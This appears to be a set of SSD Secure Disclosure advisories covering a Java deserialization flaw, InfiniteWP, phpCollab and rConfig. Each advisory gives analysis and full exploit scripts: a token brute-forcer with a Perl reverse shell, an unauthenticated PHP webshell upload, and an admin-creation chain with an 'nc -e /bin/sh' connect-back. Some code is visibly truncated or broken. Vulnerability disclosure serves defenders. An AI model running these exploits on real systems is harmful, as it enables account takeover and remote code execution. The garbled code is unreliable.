In the com.nmwco.server.webrepdb.StatusServlet class we can see the following code:

public class StatusServlet extends HttpServlet {
  private static final long serialVersionUID = -8733972612715355572L;

  private RpcResponseDispatcher webRepdbDispatcher = new RpcResponseDispatcher(new WebRepDbRpcResponseCommand());

  private DownloadEngineContainer container;

  public void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    this.container = (DownloadEngineContainer)paramHttpServletRequest.getServletContext().getAttribute("com.nmwco.server.webrepdb.DownloadEngineContainer");
    this.webRepdbDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {   // 1
            return (RpcData)param1ObjectInputStream.readObject();

  public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    doGet(paramHttpServletRequest, paramHttpServletResponse);

At [1] the code sets up a dispatcher for a GET or POST request using a readObject call on attacker controlled data.


For this particular service, the CommonsCollections6 gadget wasn’t firing because it wasn’t loaded into the classpath. So I am just demonstrating here that deserialization is indeed working using a gadget in the JRE.

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testing.[collab-id] > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/WebRepDb/status

You should see a DNS lookup for testing on your collab server.


SSD Advisory – Auth Bypass and RCE in Infinite WP Admin Panel


Find out how a vulnerability in Infinite WP’s password reset mechanism allows an unauthenticated user to become authenticated and then carry out a Remote Code Execution.

Vulnerability Summary

InfiniteWP is “free self hosted, multiple WordPress site management solution. It simplifies your WordPress tasks with a click of a button”.

A vulnerability in InfiniteWP allows unauthenticated users to become authenticated if they know an email address of one of the users in the system, this is done through a flaw in the password reset mechanism of the product.


Independent security researcher, polict of Shielder ( ShielderSec ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Infinite WP 2.15.6 and prior

Fixed Versions

Infinite WP 2.15.7 and above

NOTE: the vulnerability was silently patched without updating the change log – therefore some versions after 2.15.6 and before 2.15.7 are also immune – the vendor has not disclosed to us what versions have this fix in place



Vendor Response

When we informed the vendor in September 2020, they stated that they were previously informed about the issue (reported to them a few months before) and they were planning to release the patch to everyone within 3-4 weeks.

They asked us to wait for Jan 2021, so that they can confirm that all their customers got patched.

A few days ago, we found out that other researcher has published his findings (around Nov 2020) and the vendor didn’t take the time to notify us of this – though they have promised they would – we have therefore decided to moved forward and released this full advisory.

Vulnerability Analysis

1. Weak password reset token

The password reset link is created by InfiniteWP Admin Panel by executing the code in function userLoginResetPassword($params) (inside controllers/appFunctions.php line 1341) :

$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));
$resetHash = sha1($hashValue);
$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

where $userDets[‘userID’] is the target user identifier and $params[“email”] is their email.An attacker only needs the user id, user email and the value produced by the call to microtime(true) in order to create the correct link and reset the victim’s password:

  • The user id is an auto-increment integer stored in the database, the default value is 1 because in order to have more users it is required to purchase the ‘manage-users’ addon (; that being said, the attached exploit script by default tries values from 1 to 5;
  • The user email can be tested before the attack takes place since there’s a different HTTP response if the email entered is not registered: an HTTP redirect to login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound means the email is not registered, otherwise it is; the attached exploit script automatically notifies if the input email is not registered;
  • The value generated by microtime(true) is the current UNIX timestamp with microseconds (, hence it can be guessed by using the HTTP “Date” header value (seconds precision) as a reference point for the dictionary creation.

By creating a dictionary list with all the possible resetHash values it is possible to guess the correct password reset token and reset the victim’s password. The attack will be successful with a maximum of 1 million tries over a 24 hours time window (the password reset token expires after 24 hours), which is a reasonable timing.

During the Proof-of-concept tests, the average total time required to successfully exploit the issues has been of 1 hour; that said the timings might differ depending on the specific network speed / congestion / configuration and the microtime call output.

At this point an attacker is able to reset the victim’s password and gain access to the Infinite WP Admin Panel, the next vulnerability will cover how to achieve authenticated Remote Code Execution on the host machine.

2. Remote Code Execution via “addFunctions” (bypass of “checkDataIsValid”)

In 2016 a remote code execution vulnerability was found in Infinite WP Admin Panel 2.8.0, which affected the /ajax.php API endpoint. The details are since publicly available at

As written in the advisory, the vulnerability was fixed by adding a call to function checkDataIsValid($action) (controllers/panelRequestManager.php line 3782):

private static function checkDataIsValid($action){
    //Restricted function access
    $functions = array('addFunctions');
    if(!in_array($action, $functions)){
        return true;
    return false;

However that check doesn’t take in consideration that PHP function names are case insensitive: by using addfunctions (notice the lowercase “f”) it is possible to bypass the patch and achieve remote code execution.



#!/usr/bin/env python3
# coding: utf8
# exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6
# tested on:
# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020
# the bug chain is made of two bugs:
# 1. weak password reset token leads to privilege escalation
# 2. rce patch from 2016 can be bypassed with same payload but lowercase
# example run:
# $ ./ -e 'a@b.c' -rh -lh
# 2020-08-13 14:45:29,496 - INFO - initiating password reset...
# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...
# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G
# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
# /bin/sh: 0: can't access tty; job control turned off
# $ id
# uid=1(daemon) gid=1(daemon) groups=1(daemon)
# $ uname -a
# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
# $ exit
# *** Connection closed by remote host ***
# polict, 13/08/2020

import sys, time
import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from concurrent.futures import as_completed
from requests_futures.sessions import FuturesSession
import logging
import logging.handlers
import datetime
from argparse import ArgumentParser
from hashlib import sha1
import socket
import telnetlib
from threading import Thread

### default settings
PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"

### argument parsing
parser = ArgumentParser()
parser.add_argument("-rh", "--rhost", dest="rhost", required=True,
            help="remote InfiniteWP Admin Panel webroot, e.g.:")
parser.add_argument("-e", "--email", dest="email",
            help="target email", required=True)
parser.add_argument("-u", '--user-id', dest="uid",
            help="user_id (in the default installation it is 1, if not set will try 1..5)")
parser.add_argument("-lh", '--lhost', dest="lhost",
            help="local ip to use for remote shell connect-back",
parser.add_argument("-ts", '--token-timestamp', dest="start_ts",
            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")
parser.add_argument("-m", "--micros", dest="micros_elapsed",
            help="number of microseconds to test (if not set 1000000 (1 second))",
parser.add_argument("-lp", '--lport', dest="lport",
            help="local port to use for remote shell connect-back",
parser.add_argument("-p", '--new-password', dest="new_password",
            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),
parser.add_argument("-d", "--debug", dest="debug_mode",
            help="enable debug mode")
args = parser.parse_args()

log = logging.getLogger(__name__)
if args.debug_mode:

handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))

### actual exploit logic
def init_pw_reset():
    global args
    start_clock = time.perf_counter()
    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    log.debug("init pw reset start ts: {}".format(start_ts))
    response ="{}/login.php".format(args.rhost), verify=False,
        "action": "resetPasswordSendMail", 
        "loginSubmit": "Send Reset Link"
    }, allow_redirects=False)
    log.debug("init pw reset returned these headers: {}".format(response.headers))
    now we could use our registered timings to restrict the bruteforce values to the minimum range
    instead of using the whole "last second" microseconds range, however we can't be 100% sure
    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now

    # calculate actual ntp-time range
    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    delta_clock = end_clock - start_clock
    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)
    log.debug("end: {}".format(end_ts))
    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
    # this takes for garanteed that the response arrives before 1 minute is elapsed
    micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds
    log.debug("micros elapsed: {}".format(micros_elapsed))

    if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:
        log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")

    # both redirects are ok because the reset hash is written in the db before sending the mail
    if response.status_code == 302 \
        and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \
            or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
        # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj
        server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')
        server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)
        log.debug("server time: {}".format(server_dt))
        this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier

        if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):
            log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") 
        args.start_ts = int(server_dt.timestamp())
        # args.micros_elapsed = 1000000

        log.error("pw reset init failed, check with debug enabled (-d)")

def generate_reset_hash(timestamp, uid):
    global args
        $hashValue = serialize(array('hashCode' => 'resetPassword', 
        'uniqueTime' => microtime(true), 
        'userPin' => $userDets['userID']));

        ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}

        $resetHash = sha1($hashValue);
    template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"
                       # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}
    serialized_resethash = template_ts_uid %(timestamp, uid)
    hash_obj = sha1(serialized_resethash.encode())
    reset_hash = hash_obj.hexdigest()
    log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))
    return reset_hash

def brute_pw_reset():
    global args, start_time
    if args.uid is None:
        # in the default installation the uid is 1, but let's try also some others in case they have installed 
        # the "manage-users" addon:
        uids = [1,2,3,4,5]
        uids = [args.uid]
    log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))
    sha1_email = sha1(
    with FuturesSession() as session: # max_workers=4
        for uid in uids:
  "starting with uid {}...".format(uid))
            microsecond = 0
            hashes_tested = 0
            while microsecond < args.micros_elapsed:
                futures = []
                # try 100k per time to avoid ram cluttering
                for _ in range(100000):
                    # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)
                    # unix_ts = int(test_ts.timestamp())
                    ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)
                    reset_hash = generate_reset_hash(ms_string, uid)
                    futures.append("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \
                        "action":"resetPasswordChange", \
                        "resetHash": reset_hash, \
                        "newPassword": args.new_password \
                    }, allow_redirects=False))
                    microsecond += 1
                for future in as_completed(futures):
                    if hashes_tested % 50000 == 0 and hashes_tested > 0:
              "tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
                    hashes_tested += 1
                    response = future.result()
                    log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))
                    if "successMsg" in response.headers["location"] :
              "password has been reset, you can now login using {}:{}".format(, args.new_password))
              "removing from the queue all the remaining hashes...")
                        for future in futures:
  "target user doesn't have uid {}...".format(uid))

    log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))

def handler():
    global args
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", args.lport))
    conn, addr = s.accept()
    log.debug("Connection from %s %s received!" % (addr[0], addr[1]))
    t.sock = conn

def login_and_rce():
    global args
    handlerthr = Thread(target=handler)

    # login and record cookies
    s = requests.Session()
    log.debug("logging in...")
    login ="{}/login.php".format(args.rhost), data={"email":,
    "password": args.new_password,
    "loginSubmit": "Log in"})
    log.debug("login ret {} headers {}".format(login.status_code, login.headers))

    # rce
    rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",
    # notice the lowercase f 
    # (bypass of patch for
    "requiredData[addfunctions]" : "system", 
    "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)
    log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))

if __name__ == '__main__':
    if args.start_ts is None:"initiating password reset...")
        init_pw_reset()"reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))
    brute_pw_reset()"spawning a remote shell...")

SSD Advisory – phpCollab Unauth RCE


Find out how a vulnerability in phpCollab allows an unauthenticated user to reach RCE abilities and run code as ‘www-data’.

Vulnerability Summary

phpCollab is “a project management and collaboration system. Features include: team/client sites, task assignment, document repository/workflow, gantt charts, discussions, calendar, notifications, support requests, weblog newsdesk, invoicing, and many other tools”.

A vulnerability in phpCollab allows unauthenticated users to exploit the vulnerability through the file upload feature, and perform Remote Code Execution.


An independent, Trung Le, Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Versions

phpCollab 2.7.2 and prior

Fixed Versions

phpCollab 2.8.2

Vendor Response

“We released v2.8.2 a few days ago, which included the fixes that resolve the vulnerability you reported.

If you have found that the vulnerability is still present, or have found something else, please let us know and we will investigate it.

Thanks for helping test this issue”.

Vulnerability Analysis

phpCollab allows uploading content by admin whenever a new client is created. This is done through the editclient.php page.

Due to a mistake this page however appears to lacks basic tests for whether or not the user has logged on to the system when accessed directly and a POST request is used.

This allows a remote attacker to upload files to the server, which he can then subsequently, access.

By uploading a PHP file to the server which contains code execution commands, a remote user can run code without requiring to be logged on to the phpCollab application.

NOTE: Because the phpCollab application stores the files in a sequential number – based on how many previous uploads have occurred – a subsequent call to iterate through all possible files is required.



import requests
import sys
import logging

    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
# http_client.HTTPConnection.debuglevel = 1

# logging.getLogger().setLevel(logging.DEBUG)
# requests_log = logging.getLogger("requests.packages.urllib3")
# requests_log.setLevel(logging.DEBUG)
# requests_log.propagate = True

if len(sys.argv) < 2:
  print("Please provide a base URL")

url = sys.argv[1]

print("Attacking URL: {}".format(url))

payload = """<?php

data = {
  'owner' : '1',
  'name' : '''5aaa()<>/"';''',

files = {'upload' : ( 'something.php', payload), }

headers = {

print("Uploading shell file")
response = '{}clients/editclient.php?action=add&'.format(url), verify=False, files = files, data = data, headers = headers)

# print("body: {}".format(response.request.body))
# print("headers: {}".format(response.request.headers))

print("Looking for our shell file")
for number in range(1, 50):
  shell_url = '{}logos_clients/{}.php?cmd=id'.format(url, number)
  response = requests.get(shell_url)
  if response.status_code == 200 and 'uid=' in response.text:
    print("Command shell found at: {}".format(shell_url))

SSD Advisory – rConfig Unauthenticated RCE


Find out how a chain of vulnerabilities in rConfig allows a remote unauthenticated user to gain ‘apache’ user access to the vulnerable rConfig installation.

Vulnerability Summary

rConfig is “an open source network device configuration management utility that takes frequent configuration snapshots of devices. Open source, and built by Network Architects – We know what you need!”

Two vulnerabilities in rConfig remote unauthenticated RCE. One vulnerability allows an unauthenticated user to become authenticated, another vulnerability which is post-authentication allows an attacker to execute arbitrary code.


An independent Security Researcher, Daniel Monzón, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

rConfig 3.9.6 and prior

Vendor Response

The vendor was initially very responsive and provided feedback and a link to an updated version (3.9.6) – we originally verified the vulnerability on version 3.9.5.

We were able to confirm that version 3.9.6 is also vulnerable and communicated this back to the vendor.

The vendor has not responded since July and failed to provide any timeline for a fix or a patch.

At the moment we are not aware of a patch or a workaround to prevent these two vulnerabilities from being exploited.

Vulnerability Analysis

rConfig is vulnerable to multiple RCE vulnerabilities.

ajaxArchiveFiles.php RCE

In the file /home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php there is a blind command injection vulnerability in the ext parameter (different from CVE-2019-19509, which by the way, has not been resolved and it is still present, as you can see in the screenshot):

To trigger the vulnerability the following raw request can be sent:

ajaxEditTemplate.php RCE

The second RCE is in the connection template edit page of rConfig. It is possible to introduce PHP code inside a file and call it ../www/test.php. This would allow an attacker to make the file reachable from the outside of the box. If the filename does not end in .yml, rConfig appends it, therefore a file called test.php will be accessible via https://rconfig/test.php.yml

updater.php RCE

The third RCE is in https://rconfig/updater.php?chk=1. There are not enough checks for in the updater.php file. If we grab a real rConfig ZIP and add a PHP webshell to the ZIP, upload and install, we we will find that the new admin credentials are admin:admin and we will have a nice webshell.

userprocess.php Authentication Bypass

The first authentication bypass vulnerability lays on the register function of
/home/rconfig/www/lib/crud/userprocess.php. There is no authentication enforced, so we can just create our own admin user (ulevelid = 9). Authentication Bypass

The second authentication bypass vulnerability is in the same file than the previous one. Using the information leakage in https://rconfig/ we can get to know which users are present in the rConfig instance, so we can update the details of the account (including the password), with again, no authentication required:



import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup


url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version ="<p>(.*)<span>", x.text)
version =

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
   print("Version is "+version+ " it may not be vulnerable")

proxies = {"http": "", "https": ""} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': '',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response ='lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
        print("(-) User couldn't be created, please debug the exploit")

def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
    with requests.Session() as s:
         p ='lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
    with requests.Session() as s:
         p ='lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
                print("(-) Error when executing payload, please debug the exploit")

def user_enum_update():
    users=requests.get(url+'', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': '',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response ='lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+" manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p ='lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
            print("(+) Log in as admin completed")
  'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    if auth_bypass == "1":
    elif auth_bypass == "2":
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    if rce_method == "1":
    elif rce_method == "2":